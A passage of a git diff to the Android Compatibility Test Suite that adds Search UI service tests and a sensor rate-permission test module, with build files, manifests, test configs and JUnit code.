+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSearchUiServiceTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "testng",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/searchui/AndroidManifest.xml b/tests/searchui/AndroidManifest.xml
new file mode 100644
index 0000000..589c052
--- /dev/null
+++ b/tests/searchui/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.searchuiservice.cts"
+     android:targetSandboxVersion="2">
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+
+        <service android:name=".CtsSearchUiService"
+             android:label="CtsSearchUiService"
+             android:exported="true">
+            <intent-filter>
+                <!-- This constant must match SearchUiService.SERVICE_INTERFACE -->
+                <action android:name="android.service.search.SearchUiService"/>
+            </intent-filter>
+        </service>
+
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the Search Ui Framework APIs."
+         android:targetPackage="android.searchuiservice.cts">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/searchui/AndroidTest.xml b/tests/searchui/AndroidTest.xml
new file mode 100644
index 0000000..c033f4c
--- /dev/null
+++ b/tests/searchui/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for Search UI Service CTS tests.">
+  <option name="test-suite-tag" value="cts" />
+  <option name="config-descriptor:metadata" key="component" value="framework" />
+  <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+  <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+  <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+  <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+    <option name="cleanup-apks" value="true" />
+    <option name="test-file-name" value="CtsSearchUiServiceTestCases.apk" />
+  </target_preparer>
+
+  <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+    <option name="package" value="android.searchuiservice.cts" />
+    <!-- 20x default timeout of 600sec -->
+    <option name="shell-timeout" value="12000000"/>
+  </test>
+
+</configuration>
diff --git a/tests/searchui/OWNERS b/tests/searchui/OWNERS
new file mode 100644
index 0000000..534f688
--- /dev/null
+++ b/tests/searchui/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 758286
+hyunyoungs@google.com
diff --git a/tests/searchui/TEST_MAPPING b/tests/searchui/TEST_MAPPING
new file mode 100644
index 0000000..1135ad2
--- /dev/null
+++ b/tests/searchui/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSearchUiServiceTestCases"
+    }
+  ]
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/CtsSearchUiService.java b/tests/searchui/src/android/searchuiservice/cts/CtsSearchUiService.java
new file mode 100644
index 0000000..8e02890
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/CtsSearchUiService.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import android.app.search.Query;
+import android.app.search.SearchContext;
+import android.app.search.SearchSessionId;
+import android.app.search.SearchTarget;
+import android.app.search.SearchTargetEvent;
+import android.content.Intent;
+import android.service.search.SearchUiService;
+import android.util.Log;
+
+import org.mockito.Mockito;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.List;
+import java.util.function.Consumer;
+
+public class CtsSearchUiService extends SearchUiService {
+
+    private static final boolean DEBUG = false;
+    private static final String TAG = CtsSearchUiService.class.getSimpleName();
+
+    public static final String MY_PACKAGE = "android.searchuiservice.cts";
+    public static final String SERVICE_NAME = MY_PACKAGE + "/."
+            + CtsSearchUiService.class.getSimpleName();
+
+    private static Watcher sWatcher;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        if (DEBUG) Log.d(TAG, "onCreate");
+
+    }
+
+    @Override
+    public void onDestroy(SearchSessionId sessionId) {
+        if (DEBUG) Log.d(TAG, "onDestroy");
+        super.onDestroy();
+        sWatcher.destroyed.countDown();
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        if (DEBUG) Log.d(TAG, "unbind");
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public void onCreateSearchSession(SearchContext context,
+            SearchSessionId sessionId) {
+        if (DEBUG) Log.d(TAG, "onCreateSearchSession");
+
+        if (sWatcher.verifier != null) {
+            Log.e(TAG, "onCreateSearchSession, trying to set verifier when it already exists");
+        }
+        sWatcher.verifier = Mockito.mock(CtsSearchUiService.class);
+        sWatcher.created.countDown();
+    }
+
+    @Override
+    public void onNotifyEvent(SearchSessionId sessionId,
+            Query input, SearchTargetEvent event) {
+        if (DEBUG){
+            Log.d(TAG, "onNotifyEvent query=" + input.getInput() + ", event="
+                    + event.getTargetId());
+        }
+        sWatcher.verifier.onNotifyEvent(sessionId, input, event);
+    }
+
+    @Override
+    public void onQuery(SearchSessionId sessionId, Query input,
+            Consumer<List<SearchTarget>> callback) {
+        if (DEBUG) Log.d(TAG, "onQuery query=" + input.getInput());
+        if (sWatcher.searchTargets != null) {
+            callback.accept(sWatcher.searchTargets);
+        } else {
+            sWatcher.verifier.onQuery(sessionId, input, callback);
+        }
+    }
+
+    public static Watcher setWatcher() {
+        if (DEBUG) {
+            Log.d(TAG, "");
+            Log.d(TAG, "----------------------------------------------");
+            Log.d(TAG, " setWatcher");
+        }
+        if (sWatcher != null) {
+            throw new IllegalStateException("Set watcher with watcher already set");
+        }
+        sWatcher = new Watcher();
+        return sWatcher;
+    }
+
+    public static void clearWatcher() {
+        if (DEBUG) Log.d(TAG, "clearWatcher");
+        sWatcher = null;
+    }
+
+    public static final class Watcher {
+        public CountDownLatch created = new CountDownLatch(1);
+        public CountDownLatch destroyed = new CountDownLatch(1);
+        public CountDownLatch queried = new CountDownLatch(1);
+
+        /**
+         * Can be used to verify that API specific service methods are called. Not a real mock as
+         * the system isn't talking to this directly, it has calls proxied to it.
+         */
+        public CtsSearchUiService verifier;
+
+        public List<SearchTarget> searchTargets;
+
+        public void setTargets(List<SearchTarget> targets) {
+            searchTargets = targets;
+        }
+    }
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
new file mode 100644
index 0000000..8018f15
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertEquals;
+import static org.testng.Assert.assertThrows;
+
+import android.app.PendingIntent;
+import android.app.search.SearchAction;
+import android.app.search.SearchAction.Builder;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.Icon;
+import android.os.Bundle;
+import android.os.Parcel;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * Tests for {@link SearchAction}
+ *
+ * atest CtsSearchUiServiceTestCases
+ */
+@RunWith(JUnit4.class)
+public class SearchActionTest {
+    private static final String ID = "ID";
+    private static final String TITLE = "TITLE";
+    private static final Intent INTENT = new Intent();
+
+    private final SearchAction.Builder mBuilder = new SearchAction.Builder(ID, TITLE);
+
+    private final Bundle mExtras = new Bundle();
+
+    @Before
+    public void setIntentExtras() {
+        mExtras.putString("SEARCH", "AWESOME");
+        mBuilder.setExtras(mExtras).setIntent(INTENT);
+    }
+
+    @Test
+    public void testBuilder_invalidId() {
+        assertThrows(NullPointerException.class, () -> new Builder (null, TITLE));
+    }
+
+    @Test
+    public void testBuilder_invalidTitle() {
+        assertThrows(NullPointerException.class, () -> new Builder (ID, null));
+    }
+
+    @Test
+    public void testBuilder_zeroIntent() {
+        assertThrows(IllegalStateException.class, () -> new Builder(ID, TITLE).build());
+    }
+
+    @Test
+    public void testParcel_nullIcon() {
+        final SearchAction originalSearchAction = mBuilder.setIntent(INTENT).build();
+        assertEverything(originalSearchAction);
+        final SearchAction clone = cloneThroughParcel(originalSearchAction);
+        assertEverything(clone);
+    }
+
+    @Test
+    public void testParcel_bitmapIcon() {
+        final SearchAction originalSearchAction = mBuilder
+                .setIcon(Icon.createWithBitmap(
+                        Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8)))
+                .build();
+        assertEverything(originalSearchAction);
+        final SearchAction clone = cloneThroughParcel(originalSearchAction);
+        assertEverything(clone);
+    }
+
+    @Test
+    public void testParcel_filePathIcon() {
+        final SearchAction originalSearchAction = mBuilder
+                .setIcon(Icon.createWithFilePath("file path"))
+                .build();
+        assertEverything(originalSearchAction);
+        final SearchAction clone = cloneThroughParcel(originalSearchAction);
+        assertEverything(clone);
+    }
+
+    private void assertEverything(@NonNull SearchAction searchAction) {
+        assertThat(searchAction).isNotNull();
+        assertThat(searchAction.getId()).isEqualTo(ID);
+        assertThat(searchAction.getTitle()).isEqualTo(TITLE);
+        assertExtras(searchAction.getExtras());
+    }
+
+    private void assertExtras(@NonNull Bundle bundle) {
+        assertThat(bundle).isNotNull();
+        assertThat(bundle.keySet()).hasSize(1);
+        assertThat(bundle.getString("SEARCH")).isEqualTo("AWESOME");
+    }
+
+    private SearchAction cloneThroughParcel(@NonNull SearchAction searchAction) {
+        final Parcel parcel = Parcel.obtain();
+
+        try {
+            // Write to parcel
+            parcel.setDataPosition(0);
+            searchAction.writeToParcel(parcel, 0);
+
+            // Read from parcel
+            parcel.setDataPosition(0);
+            final SearchAction clone = SearchAction.CREATOR
+                    .createFromParcel(parcel);
+            assertThat(clone).isNotNull();
+            return clone;
+        } finally {
+            parcel.recycle();
+        }
+    }
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java
new file mode 100644
index 0000000..ab20790
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java
@@ -0,0 +1,244 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import static android.searchuiservice.cts.SearchUiUtils.QUERY_INPUT;
+import static android.searchuiservice.cts.SearchUiUtils.QUERY_TIMESTAMP;
+import static android.searchuiservice.cts.SearchUiUtils.RESULT_CORPUS1;
+import static android.searchuiservice.cts.SearchUiUtils.RESULT_CORPUS2;
+import static android.searchuiservice.cts.SearchUiUtils.RESULT_CORPUS3;
+import static android.searchuiservice.cts.SearchUiUtils.generateSearchTargetList;
+import static android.searchuiservice.cts.SearchUiUtils.generateQuery;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.search.Query;
+import android.app.search.SearchContext;
+import android.app.search.SearchSession;
+import android.app.search.SearchTarget;
+import android.app.search.SearchTargetEvent;
+import android.app.search.SearchUiManager;
+import android.content.Context;
+import android.os.Process;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+/**
+ * Tests for {@link SearchUiManager}
+ *
+ * atest CtsSearchUiServiceTestCases
+ */
+@RunWith(AndroidJUnit4.class)
+public class SearchUiManagerTest {
+
+    private static final String TAG = "SearchUiManagerTest";
+    private static final boolean DEBUG = false;
+
+    private static final long VERIFY_TIMEOUT_MS = 5_000;
+    private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 20_000;
+
+    @Rule
+    public final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(Context.SEARCH_UI_SERVICE);
+
+    private SearchUiManager mManager;
+    private SearchSession mClient;
+    private CtsSearchUiService.Watcher mWatcher;
+
+    @Before
+    public void setUp() throws Exception {
+        mWatcher = CtsSearchUiService.setWatcher();
+        mManager = getContext().getSystemService(SearchUiManager.class);
+        setService(CtsSearchUiService.SERVICE_NAME);
+        SearchContext searchContext = new SearchContext(
+                RESULT_CORPUS1 | RESULT_CORPUS2 | RESULT_CORPUS3, 0, null);
+        mClient = mManager.createSearchSession(searchContext);
+        await(mWatcher.created, "Waiting for onCreate()");
+        reset(mWatcher.verifier);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        Log.d(TAG, "Starting tear down, watcher is: " + mWatcher);
+        mClient.destroy();
+        setService(null);
+        await(mWatcher.destroyed, "Waiting for onDestroy()");
+
+        mWatcher = null;
+        CtsSearchUiService.clearWatcher();
+    }
+
+    @Test
+    public void testCreateSearchSession() {
+        assertNotNull(mClient);
+        assertNotNull(mWatcher.verifier);
+    }
+
+    @Test
+    public void testNotifyEvent() {
+        String targetId = "sample target id";
+        int action = SearchTargetEvent.ACTION_SURFACE_VISIBLE;
+        SearchTargetEvent event = new SearchTargetEvent.Builder(targetId, action)
+                .setFlags(SearchTargetEvent.FLAG_IME_SHOWN)
+                .setLaunchLocation("1,0")
+                .build();
+        mClient.notifyEvent(generateQuery(), event);
+
+        ArgumentCaptor<Query> queryArg = ArgumentCaptor.forClass(Query.class);
+        ArgumentCaptor<SearchTargetEvent> eventArg
+                = ArgumentCaptor.forClass(SearchTargetEvent.class);
+
+        verify(mWatcher.verifier, timeout(VERIFY_TIMEOUT_MS))
+                .onNotifyEvent(any(), queryArg.capture(), eventArg.capture());
+
+        assertTrue(queryArg.getValue().getInput().equals(QUERY_INPUT));
+        assertEquals(queryArg.getValue().getTimestamp(), QUERY_TIMESTAMP);
+        assertTrue(eventArg.getValue().getTargetId().equals(targetId));
+        assertEquals(eventArg.getValue().getAction(), action);
+    }
+
+    @Test
+    public void testQuery_realCallback() {
+        Query query = SearchUiUtils.generateQuery();
+        List<SearchTarget> targets = SearchUiUtils.generateSearchTargetList(3);
+
+        final ConsumerVerifier callbackVerifier = new ConsumerVerifier(targets /* expected */);
+        mWatcher.setTargets(targets /* actual */);
+        mClient.query(query, Executors.newSingleThreadExecutor(), callbackVerifier);
+    }
+
+    // flaky: 8 failure out of 100
+    @Ignore
+    public void testQuery_mockCallback() {
+        List<SearchTarget> targets = SearchUiUtils.generateSearchTargetList(2);
+        Query query = SearchUiUtils.generateQuery();
+
+        final ConsumerVerifier callbackVerifier = new ConsumerVerifier(targets);
+        mClient.query(query, Executors.newSingleThreadExecutor(), callbackVerifier);
+
+        doAnswer(answer -> {
+            Consumer<List<SearchTarget>> consumer
+                    = (Consumer<List<SearchTarget>>) answer.getArgument(2);
+            consumer.accept(targets);
+            return null;
+        }).when(mWatcher.verifier).onQuery(any(), any(), any(Consumer.class));
+    }
+
+    @Test
+    public void testQuery_params() {
+        List<SearchTarget> targets = generateSearchTargetList(2, true, false, false, false);
+        Query query = SearchUiUtils.generateQuery();
+
+        final ConsumerVerifier callbackVerifier = new ConsumerVerifier(targets);
+        mClient.query(query, Executors.newSingleThreadExecutor(), callbackVerifier);
+
+        ArgumentCaptor<Query> queryArg = ArgumentCaptor.forClass(Query.class);
+        ArgumentCaptor<Consumer<List<SearchTarget>>> callbackArg
+                = ArgumentCaptor.forClass(Consumer.class);
+
+        verify(mWatcher.verifier, timeout(VERIFY_TIMEOUT_MS))
+                .onQuery(any(), queryArg.capture(), callbackArg.capture());
+
+        Query expectedQuery = queryArg.getValue();
+        assertTrue(expectedQuery.getInput().equals(QUERY_INPUT));
+        assertEquals(expectedQuery.getTimestamp(), QUERY_TIMESTAMP);
+
+        Consumer<List<SearchTarget>> expectedCallback = callbackArg.getValue();
+        expectedCallback.andThen(callbackVerifier);
+    }
+
+    private void setService(String service) {
+        Log.d(TAG, "Setting search ui service to " + service);
+        int userId = Process.myUserHandle().getIdentifier();
+        if (service != null) {
+            runShellCommand("cmd search_ui set temporary-service "
+                    + userId + " " + service + " 60000");
+        } else {
+            runShellCommand("cmd search_ui set temporary-service " + userId);
+        }
+    }
+
+    private void await(@NonNull CountDownLatch latch, @NonNull String message) {
+        try {
+            assertWithMessage(message).that(
+                    latch.await(SERVICE_LIFECYCLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
+        } catch (InterruptedException e) {
+            Thread.currentThread().interrupt();
+            throw new IllegalStateException("Interrupted while: " + message);
+        }
+    }
+
+    private void runShellCommand(String command) {
+        Log.d(TAG, "runShellCommand(): " + command);
+        try {
+            SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+        } catch (Exception e) {
+            throw new RuntimeException("Command '" + command + "' failed: ", e);
+        }
+    }
+
+    public static class ConsumerVerifier implements
+            Consumer<List<SearchTarget>> {
+
+        private static List<SearchTarget> mExpectedTargets;
+
+        public ConsumerVerifier(List<SearchTarget> targets) {
+            mExpectedTargets = targets;
+        }
+
+        @Override
+        public void accept(List<SearchTarget> actualTargets) {
+            if (DEBUG) {
+                Log.d(TAG, "ConsumerVerifier.accept targets.size= " + actualTargets.size());
+                Log.d(TAG, "ConsumerVerifier.accept target(1).packageName=" + actualTargets.get(
+                        0).getPackageName());
+            }
+            Assert.assertArrayEquals(actualTargets.toArray(), mExpectedTargets.toArray());
+        }
+    }
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchUiUtils.java b/tests/searchui/src/android/searchuiservice/cts/SearchUiUtils.java
new file mode 100644
index 0000000..21ecc68
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchUiUtils.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.searchuiservice.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import android.app.search.Query;
+import android.app.search.SearchAction;
+import android.app.search.SearchTarget;
+import android.app.search.SearchTargetEvent;
+import android.appwidget.AppWidgetProviderInfo;
+import android.content.Intent;
+import android.content.pm.ShortcutInfo;
+import android.net.Uri;
+import android.os.Parcel;
+import android.os.UserHandle;
+
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class SearchUiUtils {
+    static final String LAYOUT_TYPE_HERO = "hero";
+
+    static final int RESULT_CORPUS1 = 1 << 0;
+    static final int RESULT_CORPUS2 = 1 << 1;
+    static final int RESULT_CORPUS3 = 1 << 2;
+
+    static final String QUERY_INPUT = "b";
+    static final int QUERY_TIMESTAMP = 314;
+
+    /**
+     * Generate total {@param num} of {@link SearchTarget}s.
+     */
+    static List<SearchTarget> generateSearchTargetList(int num) {
+        return generateSearchTargetList(num, false, false, false, false);
+    }
+
+    /**
+     * Generate total {@param num} of {@link SearchTarget}s.
+     */
+    static List<SearchTarget> generateSearchTargetList(int num,
+            boolean includeSearchAction,
+            boolean includeShortcutInfo,
+            boolean includeAppWidgetProviderInfo,
+            boolean includeSliceUri) {
+        List<SearchTarget> targets = new ArrayList<>();
+        for (int seed = 0; seed < num; seed++) {
+            targets.add(generateSearchTarget(seed,
+                    includeSearchAction,
+                    includeShortcutInfo,
+                    includeAppWidgetProviderInfo,
+                    includeSliceUri));
+        }
+        return targets;
+    }
+
+    /**
+     * Generate sample search target using the {@param seed}.
+     */
+    static SearchTarget generateSearchTarget(int seed,
+            boolean includeSearchAction,
+            boolean includeShortcutInfo,
+            boolean includeAppWidgetProviderInfo,
+            boolean includeSliceUri) {
+
+        SearchTarget.Builder builder = new SearchTarget.Builder(RESULT_CORPUS1, LAYOUT_TYPE_HERO, String.valueOf(seed))
+                .setPackageName("package name")
+                .setUserHandle(UserHandle.CURRENT);
+
+        if (includeSearchAction) {
+            builder.setSearchAction(new SearchAction.Builder("id" + seed, "title" + seed)
+                    .setIntent(new Intent())
+                    .build());
+        }
+
+        if (includeShortcutInfo) {
+            builder.setShortcutInfo(new ShortcutInfo.Builder(getContext(), "id" + seed)
+                    .build());
+        }
+
+        if (includeAppWidgetProviderInfo) {
+            builder.setAppWidgetProviderInfo(new AppWidgetProviderInfo());
+        }
+
+        if (includeSliceUri) {
+            builder.setSliceUri(new Uri.Builder().build());
+        }
+
+        return builder.build();
+    }
+
+    static Query generateQuery() {
+        return new Query(QUERY_INPUT, QUERY_TIMESTAMP, null);
+    }
+}
diff --git a/tests/security/Android.bp b/tests/security/Android.bp
index 018598d..12168cc 100644
--- a/tests/security/Android.bp
+++ b/tests/security/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "cts-security-test-support-library",
     static_libs: [
diff --git a/tests/sensor/Android.bp b/tests/sensor/Android.bp
index 9e6e552..4930c6f 100644
--- a/tests/sensor/Android.bp
+++ b/tests/sensor/Android.bp
@@ -15,10 +15,6 @@
 //
 // Reusable Sensor test classes and helpers
 //
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "cts-sensors-tests",
     defaults: ["cts_error_prone_rules_tests"],
diff --git a/tests/sensor/AndroidManifest.xml b/tests/sensor/AndroidManifest.xml
index ee866aa..e693c87 100644
--- a/tests/sensor/AndroidManifest.xml
+++ b/tests/sensor/AndroidManifest.xml
@@ -18,6 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.hardware.sensor.cts">
 
+    <uses-permission android:name="android.permission.HIGH_SAMPLING_RATE_SENSORS" />
     <uses-permission android:name="android.permission.ACTIVITY_RECOGNITION" />
     <uses-permission android:name="android.permission.BODY_SENSORS" />
     <uses-permission android:name="android.permission.WAKE_LOCK" />
diff --git a/tests/sensor/AndroidTest.xml b/tests/sensor/AndroidTest.xml
index 69335d1..d6a6615 100644
--- a/tests/sensor/AndroidTest.xml
+++ b/tests/sensor/AndroidTest.xml
@@ -28,7 +28,9 @@
     sensors -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="dumpsys sensorservice restrict .cts" />
+        <option name="run-command" value="cmd sensor_privacy disable 0 microphone" />
         <option name="teardown-command" value="dumpsys sensorservice enable" />
+        <option name="teardown-command" value="cmd sensor_privacy reset 0 microphone" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.hardware.sensor.cts" />
diff --git a/tests/sensor/jni/android_hardware_cts_SensorDirectReportTest.cpp b/tests/sensor/jni/android_hardware_cts_SensorDirectReportTest.cpp
index efb5f33..e8c84cf 100644
--- a/tests/sensor/jni/android_hardware_cts_SensorDirectReportTest.cpp
+++ b/tests/sensor/jni/android_hardware_cts_SensorDirectReportTest.cpp
@@ -68,3 +68,10 @@
     return env->RegisterNatives(clazz, gMethods,
             sizeof(gMethods) / sizeof(JNINativeMethod));
 }
+
+int register_android_hardware_cts_helpers_SensorRatePermissionDirectReportTestHelper(JNIEnv* env) {
+    jclass clazz = env->FindClass(
+            "android/hardware/cts/helpers/SensorRatePermissionDirectReportTestHelper");
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/sensor/jni/nativeTestHelper.cpp b/tests/sensor/jni/nativeTestHelper.cpp
index 69eeba6..8aac60f 100644
--- a/tests/sensor/jni/nativeTestHelper.cpp
+++ b/tests/sensor/jni/nativeTestHelper.cpp
@@ -21,6 +21,8 @@
 
 extern int register_android_hardware_cts_SensorNativeTest(JNIEnv* env);
 extern int register_android_hardware_cts_SensorDirectReportTest(JNIEnv* env);
+extern int register_android_hardware_cts_helpers_SensorRatePermissionDirectReportTestHelper(
+        JNIEnv* env);
 
 void fail(JNIEnv* env, const char* format, ...) {
     va_list args;
@@ -52,5 +54,8 @@
     if (register_android_hardware_cts_SensorDirectReportTest(env)) {
         return JNI_ERR;
     }
+    if (register_android_hardware_cts_helpers_SensorRatePermissionDirectReportTestHelper(env)) {
+        return JNI_ERR;
+    }
     return JNI_VERSION_1_4;
 }
diff --git a/tests/sensor/sensorratepermission/Android.bp b/tests/sensor/sensorratepermission/Android.bp
new file mode 100644
index 0000000..00bb8c3
--- /dev/null
+++ b/tests/sensor/sensorratepermission/Android.bp
@@ -0,0 +1,45 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsSensorRatePermissionTestCases",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/AndroidManifest.xml b/tests/sensor/sensorratepermission/AndroidManifest.xml
new file mode 100644
index 0000000..3588161
--- /dev/null
+++ b/tests/sensor/sensorratepermission/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
